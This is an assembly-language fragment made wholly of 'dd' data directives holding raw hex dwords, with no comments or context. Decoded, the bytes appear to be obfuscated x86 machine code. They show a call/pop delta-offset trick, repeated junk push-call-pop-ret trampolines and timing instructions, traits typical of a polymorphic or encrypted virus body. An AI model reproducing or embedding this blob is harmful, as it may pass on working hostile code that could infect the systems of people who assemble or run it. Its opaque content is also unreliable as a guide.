		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 15BD0BC0h
		dd 6A060700h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0E70EC357h, 892BDEB9h,	71BF18Dh
		dd 5BD8306h, 306072Dh, 36E850Fh, 8F0F0000h, 6, 8D98D31h
		dd 0BD830607h, 60AA6ADh, 55840F00h, 6A000003h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0B1C4C351h, 0B5FF6A52h, 60AA6ADh, 71E78166h,	3D95FF6Ah
		dd 6A060704h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 8B05C352h, 0AA6A1B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 27BC53F2h, 8D950171h, 0C7060728h, 1000106h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 87D03B45h, 120E2F3Eh, 9E9h, 29BDBE00h, 0DD0CCD9Dh, 8B963E6Bh
		dd 666050DEh, 0BB43D1BBh, 715AEEB6h, 6A9661h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5A3607C3h
		dd 0A6ADB5FFh, 95FF060Ah, 6071A55h, 0A1B58BF8h,	6A060AA6h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 7A7C352h,	1E83DEE1h, 9D8BF000h, 607082Dh
		dd 0D104E781h, 858B4B2Bh, 6071389h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 14C35646h, 0B2C684A1h, 63F6E873h
		dd 282CBEBFh, 0C4868962h, 8B000000h, 70FFDBDh, 79958B06h
		dd 89060706h, 705898Dh,	0DE8B6606h, 6A04C283h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 353DC357h, 0BC213E41h, 0F22706Dh, 5089F8BFh,	55006A20h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 7A172917h, 8B87DD50h, 706A9BDh, 1F858D06h, 89060ABAh
		dd 71ABD9Dh, 13E906h, 576F0000h, 9BC0B558h, 8E149D26h
		dd 24B5D41Fh, 0BF90142Fh, 0B88689F8h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 50C9C356h
		dd 0EE87F32h, 8F000000h, 0C5398F9Ch, 8F9E7A0Dh,	0A54C3C8Bh
		dd 2820F56h, 0B7000000h, 95895F6Bh, 6072599h, 0BF0F006Ah
		dd 0ADB5FFFAh, 8B060AA6h, 7227DBDh, 0F995FF06h,	8906071Ah
		dd 70E3185h, 0EABF9606h, 5049EF74h, 5FF88B50h, 57006A96h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F8263CEh, 680h, 6DB58900h, 0F06072Ah, 0B5FFFFB7h, 60AA6ADh
		dd 21C5BD8Bh, 95FF0607h, 6071529h, 6800Fh, 9D0B0000h, 6070C9Dh
		dd 12A5BD83h, 0F000607h, 1084h,	8A0EBB00h, 8A503640h, 243489D9h
		dd 8B8ACABFh, 0ADB5FF4Dh, 0FC060AA6h, 55595FFh,	0BD8B0607h
		dd 60707F1h, 0A6ADB5FFh, 8051060Ah, 0FF5F3CDBh,	71FF995h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 6E96048h, 3000000h, 0F5CE62AAh, 0CC80604Eh
		dd 4F80BE60h, 61617DA9h, 1DBD83F9h, 206071Fh, 1A840Fh
		dd 0F600000h, 8B61C0B7h, 706DD85h, 0B59D8B06h, 0C606071Ch
		dd 95290000h, 6070045h,	269185C7h, 607h, 8C0F0000h, 6
		dd 306DBD2Bh, 0BD0B0607h, 60710F5h, 0FFF567E9h,	53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 24A8E974h, 684BD370h, 8BC18BCFh, 85858DDAh, 8B060707h
		dd 0BB6690FBh, 8B50DC90h, 0BD8B90FAh, 6071B25h,	6A006Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 6AA0C3h, 3840Fh, 0BF0F0000h,	0B9858DFEh, 6A060C09h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0C268C350h, 89C368EFh, 70A598Dh, 5C08306h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E0C35141h
		dd 8E568FB3h, 2860F49h,	8B000000h, 4860FFAh, 66000000h
		dd 506989BBh, 6E9h, 0BC056800h,	89221411h, 6A2404h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 81C7AAC3h, 5E9h, 427E4800h, 6A4C67h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 5FC35646h, 89005787h
		dd 7282585h, 0E9006A06h, 7, 1E9144E3h, 0E98624C6h, 7, 0DC3631B3h
		dd 0FF4A9ECFh, 704C195h, 0AE906h, 0F34D0000h, 4C216EA3h
		dd 65217918h, 0A64F8D8Dh, 0DE8A060Ah, 6AD1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 8513B8C3h, 0C0CFBE66h, 0A9BD8960h, 8B060730h, 72C85BDh
		dd 0BD836106h, 607218Dh, 44850F01h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 3295C351h, 26699589h, 26A0607h, 0B158589h, 0F500607h
		dd 289h, 89FA8A00h, 0FFF92404h,	71AF995h, 759D8B06h, 0E9060714h
		dd 0F14h, 0E8h,	0ED815D00h, 60C09C3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0D5C35545h,	60817C3Dh, 8E9h
		dd 0BE9DA000h, 0F5790434h, 9595039Fh, 61060703h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 9DC35343h, 13EDB589h
		dd 858D0607h, 60A9108h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 87C35646h, 43B88812h,	1A2C4FF8h, 6840Fh
		dd 85890000h, 6070415h,	0B9506050h, 2F1674FFh, 0FE8B665Ah
		dd 24048961h, 25BD2360h, 6606071Bh, 6461D18Bh, 35FFh, 0BF660000h
		dd 8964A361h, 25h, 0DF8B6600h, 32F185FFh, 6A0607h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0FEC317C3h, 6870Fh, 8D890000h, 6073199h, 0BD8BFF6Ah
		dd 607285Dh, 139DB5FFh,	6A0607h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0F943CBC3h, 1AC995FFh
		dd 28E90607h, 60000001h, 2681BD29h, 0B5090607h,	60700C5h
		dd 6600B061h, 6ABBE781h, 9D8970E6h, 60709E5h, 0BB6671E4h
		dd 0DF8B1050h, 830F613Ch, 0FBh,	0EE9h, 1CBFD400h, 1A7CA0ACh
		dd 1F9B372Ch, 0F96711Bh, 8166C8B6h, 0BA4EFFCFh,	6, 8BFFB70Fh
		dd 14E9C1h, 0B1DE0000h,	0EF8ADAA4h, 802A7E60h, 0D508CE5Fh
		dd 128332ECh, 0E8C13EACh, 0E2F76604h, 201D8529h, 0C82B0607h
		dd 5850Fh, 81660000h, 8B4C01EFh, 0CE9D1h, 70CC0000h, 4E77DA2Bh
		dd 45EDF801h, 8CE970F7h, 80000000h, 858B43E7h, 44004E49h
		dd 18E0Fh, 0F9FC0000h, 0F07C083h, 0C083DEBFh, 85895000h
		dd 6072535h, 0FD03B5Fh,	1783h, 8D896000h, 6071FF5h, 61C28B66h
		dd 52E9h, 81665100h, 5FEC2AC3h,	0FFFF8D8Bh, 0CE8FFFFh
		dd 0CC000000h, 780708C0h, 0D9024151h, 66BA7E70h, 835FD98Bh
		dd 840F01E1h, 27h, 4F9B589h, 0A5830607h, 0FFFFFFFFh, 0DDBD8BFEh
		dd 89060721h, 4E4995h, 3880F44h, 66000000h, 0E9D98Bh, 8D000000h
		dd 0B8932B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 0B7B0775Ch, 292D798Ch, 70E059Dh
		dd 81665206h, 5B3695F3h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0E38097C3h, 0B595FF63h
		dd 0B9060716h, 1095h, 0BE8h, 0A99E8C00h, 0A0B61C09h, 461E11E6h
		dd 2D8D8960h, 0F906071Eh, 0E1835F61h, 8E9FCh, 0FCCC0000h
		dd 55FDE3F1h, 81FC9BFEh, 202ABFDFh, 6AC02B6Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0F3B1C351h, 8B669767h, 0E9D22BFAh, 12h, 48275D73h, 64987F9Fh
		dd 407B2D38h, 0A6545CDFh, 33ADAB36h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 2350C9C3h, 71315BDh, 0FE8B5F06h, 880Dh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 24F2E71h, 0D9098C67h, 0D3809CEDh, 79958B14h,	6A060706h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 8920C356h, 2CE58D8Bh, 830F0607h, 0Dh, 8E9h
		dd 855A5600h, 86A4DD87h, 0C28B50CAh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 8958188Bh, 7286D85h, 6E906h, 595F0000h
		dd 4D80C8B9h, 10E5BD83h, 0F000607h, 8D84h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 8D6CD09Ah, 6165386Ch, 27C9BD0Bh, 0B80607h, 0BB000000h
		dd 72560BF9h, 4E1C8D8Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 60B07AC3h, 38C0Fh, 0C1800000h
		dd 2840F04h, 56000000h,	0E1FF615Ah, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 0ABC35141h,	0E918589h, 0BD830607h
		dd 6072D05h, 0BA840F00h, 6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 5E8EC356h
		dd 76F0BB66h, 8312E780h, 72D05BDh, 840F0106h, 4A4h, 6DDF8166h
		dd 5BD83EBh
		dd 306072Dh, 45C860Fh, 0BD230000h, 60725F9h, 0DFB70F60h
		dd 66D98B66h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 60272EC3h, 4880Fh, 0BB660000h, 95013430h
		dd 6072FD5h, 4E18061h, 0D242C781h, 0C90A541Bh, 1AA840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 8E98F9C3h, 0E844CCDBh, 858BFA91h,	6070629h
		dd 2CE18D89h, 9D8B0607h, 60706C1h, 1E758533h, 6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F98BA0C3h, 17880F50h, 50000000h, 0FD98B52h,	0AE931h
		dd 61BC0000h, 8A1EADBBh, 8AD3014Bh, 489585Ah, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 47A1E90Fh, 369AF910h, 62B7ABF7h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 418B22C3h
		dd 21D78166h, 0A168FCC2h, 66C08AF2h, 481F88Bh, 94115E24h
		dd 51006A3Fh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 195FF0Ah, 6A06071Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 98CDC353h
		dd 27E80A02h, 0AC7CD2ADh, 3EFEE781h, 9D893612h,	6072835h
		dd 0A6AD8589h, 6A060Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 87A39AC3h, 0D4C2D7DBh, 6052B7CEh
		dd 800Fh, 11E90000h, 46000000h,	8113340Bh, 0C49E4115h
		dd 764E929Ch, 0FF4786ABh, 22E95B61h, 6A000002h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 988EC350h, 0A808F0Dh, 79376A6Eh, 6800Fh, 0BD890000h
		dd 60713FDh, 0A6A5858Bh, 5E9060Ah, 4F000000h, 713E9164h
		dd 1800C7h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 160424h, 53430000h, 6D9AC6C3h, 0A6A9B58Bh, 6A060Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 929CC4C3h, 0B589764Eh, 6072BADh, 0C21858Bh, 6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0CA117AC3h, 76B3580Bh, 6A0689h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 583B8DC3h, 37BFF599h
		dd 8B0DBEB4h, 7062985h,	4EC38106h, 892C987Ch, 6A0446h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0BD47E4C3h, 7A356C38h, 58D31F6h, 0E906070Eh,	5, 8800C672h
		dd 13E85096h, 0E6000000h, 7A496487h, 5380C92h, 183FCECCh
		dd 50710DF2h, 5250F64Ah, 0FE8h,	6C687200h, 1B45F985h, 9B6B68C7h
		dd 0A70DA023h, 0E9310F5Fh, 8, 3BB7F581h, 2A9CBC7Ah, 895B585Ah
		dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0FFD730C3h, 0AA6A5B5h, 0C99D0B06h, 81060704h
		dd 0B46801CFh, 4E811h, 3FF0000h, 8B66001Fh, 448B50D9h
		dd 0BB660424h, 8BCE64h,	4489DE8Ah, 7CBF0424h, 587E0586h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A3C35040h
		dd 0A17E19B5h, 0BFBC0B4Eh, 1D619529h, 0F88B0607h, 0A6AD858Dh
		dd 6653060Ah, 5B5E36BFh, 70DBF50h, 48942F3h, 0DABF0F24h
		dd 1D0195FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0BF0FF3C3h, 896061DFh, 70DA585h
		dd 4D958906h, 6106071Fh, 2D0585C7h, 30607h, 0BF0F0000h
		dd 0ADBD83FEh, 60AA6h, 48840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 42E929C3h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 4E8BC351h, 1F1FBFCDh, 3035BD8Bh
		dd 30500607h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0C4B4955Bh, 0A51B3C2h, 95096005h
		dd 6071E55h, 7E9h, 57C56B00h, 5490E3EEh, 2850F61h, 50000000h
		dd 51006A5Bh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0EE2DBDDAh, 8E9h, 0E3CC2800h, 20A917EEh
		dd 61BD0101h, 8306072Bh, 72D05BDh, 850F0306h, 4BEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 82C35646h, 0BD8332F4h
		dd 60AA6ADh, 93840F00h,	6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FF7AC355h
		dd 0AA6ADB5h, 68E0F06h,	23000000h, 702619Dh, 2CBB6606h
		dd 3D95FF14h, 6A060704h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0AADDC352h,	0C1712CBCh
		dd 0FF9A173h, 683h, 319D8B00h, 89060710h, 71339B5h, 0A1B58B06h
		dd 60060AA6h, 998D89h, 0C9B40607h, 106C761h, 0F000100h
		dd 0C88h, 6810F00h, 0F000000h, 8Dh, 3AB35000h, 0BF243489h
		dd 71C21C9Ah, 0A6ADB5FFh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 919FDAC3h, 0E8DD82E7h
		dd 14h,	77169F29h, 71D517BAh, 8FCD9E08h, 3A5A340h, 0E9EAF33Eh
		dd 0DE9h, 0B62B3C00h, 16A50C35h, 65967F3Dh, 315BE93Fh
		dd 712D595h, 5595FF06h,	6A06071Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 37F1C357h
		dd 8B8C0C46h, 0AA6A1B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0F557CB5Dh, 9D8B565Fh
		dd 607280Dh, 89858B5Bh,	6A060713h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0EBEBC356h
		dd 0FBF38042h, 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0F70ADBC3h, 679958Bh
		dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 5300B7C3h, 0CBB785CAh, 0FB8BD56Dh, 0F91B160h
		dd 38Fh, 0D9BF0F00h, 4C28361h, 50895B50h, 51006A20h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 1F858D63h, 6A060ABAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 5ABDC353h, 72D1C99Ah
		dd 8B60889Dh, 710A995h,	0CE906h, 2EC30000h, 0A0648069h
		dd 961BAEC4h, 0B361D869h, 0B8868953h, 1000000h,	70BA98Dh
		dd 0F9006A06h, 0A6ADB5FFh, 9529060Ah, 6073085h,	1AF995FFh
		dd 0A5BB0607h, 962322E3h, 57F7BFBFh, 6A96503Dh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 80ECC353h, 518F4481h, 6880F60h, 89000000h, 727A1B5h
		dd 0FE906h, 13C30000h
		dd 74F952E6h, 635E5F90h, 80C02D2h, 0B5FF6153h, 60AA6ADh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E9C35141h
		dd 43918307h, 6662BEA3h, 95FFFB8Bh, 6071529h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F2C35646h, 0AE9A33Dh
		dd 33000000h, 9938C01Ch, 0F0F00915h, 0CE781F1h,	83618B81h
		dd 712A5BDh, 840F0006h,	4Ah, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 4EC35141h, 8960A114h, 72F3DB5h
		dd 718D8906h, 6106071Dh, 6860F60h, 8B000000h, 71AADBDh
		dd 0FD8D8B06h, 6106071Dh, 24348950h, 961B589h, 0B5FF0607h
		dd 60AA6ADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	5DC35040h, 0AAE50099h, 9D9D8BD4h, 0FF060732h, 7055595h
		dd 51858906h, 6006071Eh, 0D529C081h, 12E9171Eh,	0B9000000h
		dd 46431E84h, 0FC70800h, 1FA2DD8Dh, 0E7669CD8h,	0B5FF61C1h
		dd 60AA6ADh, 1FF995FFh,	81600607h, 57FDD3F0h, 0B5096140h
		dd 6071AADh, 1F1DBD83h,	0F020607h, 7F84h, 0C800F00h, 0E9000000h
		dd 7, 36E96AE0h, 8BC25D84h, 706DD85h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 1B45F985h, 9B6B68C7h, 0B1950923h, 0C6060708h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E94A51C3h, 0Dh, 0E8199737h,	0AD011D2Ch, 55610E3Ch
		dd 6E94Ah, 0A7110000h, 0DBB13F7Dh, 269185C7h, 607h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FC4628C3h, 10ED9589h, 39E90607h, 6AFFFFF2h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0D3F8C350h, 52FAF0B3h, 8D095CA5h, 6070B7Dh, 0A959D8Bh
		dd 0C18B0607h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	2FC35646h, 64669B00h, 0E105BB66h, 785858Dh, 6A0607h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 966D32C3h, 66F8537Bh, 369FEF81h, 0A54BB90h, 0F502BAFh
		dd 0A89h, 50525000h, 0B3310F5Bh, 90585A24h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C8C35141h, 68C0Fh
		dd 9D890000h, 6070C45h,	57F38166h, 0E9006A9Dh, 13h, 86C1DA45h
		dd 79E43D0Dh, 8D9D6915h, 0C3D42D73h, 6A6363A5h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 5604FBABh, 0D6245625h, 0F7812054h, 3A7046D0h, 0F1B70F60h
		dd 8D6133B7h, 0C1A9485h, 0F88B5606h, 5C0835Fh, 67EF8166h
		dd 8E0F5009h, 7, 5F1BBB57h, 895F28F1h, 6AF92404h, 0D88B6600h
		dd 0BD8B006Ah, 6072229h, 21C19531h, 95FF0607h, 60704C1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 95C35646h
		dd 1949E529h, 0ED0F271Ah, 0A64F8D8Dh, 6660060Ah, 0FBB9FBAh
		dd 86h,	0D1FF6100h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 51C35141h, 85893DA7h,	6071F75h, 218DBD83h
		dd 0F010607h, 5D85h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0B5F35F1Bh, 59FF0FE9h
		dd 0B350026Ah, 240489D1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0D7C35343h, 6AA911ABh, 1739BD8Bh, 95FF0607h
		dd 6071AF9h, 1718D89h, 59E90607h, 0E800000Dh, 0
		dd 9EED815Dh, 8B060C1Ah, 0A19D8BFEh, 6A06071Eh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 118DC357h, 0F3511AFBh, 9529EB87h, 60700B5h, 9108858Dh
		dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 0F79EB2C3h, 50DB0183h, 8B665250h,	8B310FDAh
		dd 89585AFAh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 4C30E8C3h, 0F24B6D79h, 0B995896Eh
		dd 66060715h, 64E6ACBFh, 35FFh,	8D090000h, 6070865h, 698D89h
		dd 89640607h, 25h, 6E900h, 46320000h, 483FFE11h, 32F185FFh
		dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 6AF9D8C3h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 66C498DFh, 0FFEB7C1Fh
		dd 72ABDB5h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0E6822636h, 6AD008E3h, 0A21BD23h
		dd 95FF0607h, 6071AC9h,	113E9h,	0A1E78100h, 0B06D2C1Ch
		dd 0D8D8900h, 0E6060713h, 0ED9D8B70h, 66060701h, 0E912CF81h
		dd 3CF971E4h, 0ED830F61h, 0F000000h, 0B60FDEB7h, 6BAF9C8h
		dd 0F000000h, 68Ah, 0BD858900h,	8B06070Ch, 70DB81C1h, 0C154CEF0h
		dd 9D0304E8h, 6071E5Dh,	81E2F766h, 68D651C7h, 66C82B3Ch
		dd 0D9D2E381h, 0B751D18Bh, 0A9E95F8Ah, 8B000000h, 7064D9Dh
		dd 4C858B06h, 66505F4Ch, 0C083D98Bh, 0BE907h, 0A83E0000h
		dd 22C2CDA3h, 675FEF8Fh, 0C083C3h, 20558D89h, 0D03B0607h
		dd 34830Fh, 6E80000h, 37000000h, 0E5533126h, 8D8589DBh
		dd 5B06072Ah, 5FE9h, 0FE900h, 6E620000h, 0A310B152h, 0E6733075h
		dd 18FCA532h, 3880F09h,	0F000000h, 8D8BDBB7h, 0FFFFFFFFh
		dd 0AE9h, 2275A500h, 962CCB38h,	83CF0304h, 840F01E1h, 24h
		dd 5D3FBF66h, 8558531h,	0A5830607h, 0FFFFFFFFh,	0CD9D8BFEh
		dd 8906070Dh, 5F4C4C95h, 0E9DE8B50h, 0
		dd 99C7B58Dh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 66B388C3h, 15BDCB81h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0E93AA7C3h, 8B6058E6h, 7123DB5h, 0FF61F806h,	716B595h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 7D9F1637h, 79D9D33h, 0BD8B0607h,	6070CF9h
		dd 0F1CB9h, 0A5B3BF00h,	0E1836443h, 0A7EBBBFCh,	6AFC055Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 469AC355h, 0B46FF5C9h, 0FAACEE16h, 21FFDF81h
		dd 95897476h, 60715D1h,	0BAC02Bh, 66000000h, 0ADD3D5BBh
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 56DDC351h
		dd 6CFF3C0Ch, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Dh,	0E0C35242h, 76AFFF75h, 3406D4DAh, 0D9BD2BACh, 0D06072Ch
		dd 88h,	7E9h, 0C63CA500h, 0C932823Ah, 679958Bh,	6A0607h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 53C55FC3h, 8B5A4139h, 0FA8B66DEh, 2CE58D8Bh,	0BD230607h
		dd 60711D5h, 50D9BF0Fh,	188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 89875774h, 7004585h, 0C9BD8906h
		dd 66060702h, 8B2BC3BFh, 0E5BD83FEh, 60710h, 0AF840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0B88335C3h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 59C35242h
		dd 2A3C6992h, 8DF93DF6h, 74E1C8Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FFDE634h
		dd 68Dh, 0B9BD2B00h, 0FF060708h, 50006AE1h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0A0D5522h
		dd 0E93E61C9h, 11h, 0A27B9719h,	126B11DDh, 4A6E2A64h, 5DCBC704h
		dd 5BD83CFh, 6072Dh, 43A840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0DCE4AC3h
		dd 0DCE5FA75h, 5BD83F8h, 106072Dh, 425840Fh, 8E90000h
		dd 0AB000000h, 4D17623Dh, 3386E2DDh, 71991BDh, 5BD8306h
		dd 306072Dh, 3CF860Fh, 0BF660000h, 6A602E98h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 9D3DC353h, 0BD9D31F9h, 66060707h, 830FD98Ch,	18h, 0DE8h
		dd 0B952A600h, 5D62D3h,	70212AF9h, 0D0BFD216h, 5F4FE76Ch
		dd 2904E180h, 70DB195h,	0FC90A06h, 10A84h, 61BD8B00h, 0E806070Bh
		dd 5, 45552A15h, 25D381AFh, 5F54E655h, 629858Bh, 6A0607h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 880FBEC3h, 11h, 0CE9h, 0B4FC6100h, 7D067F2Dh, 6AF43A08h
		dd 75853375h, 6A06071Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 50F4C350h, 489DE8Bh
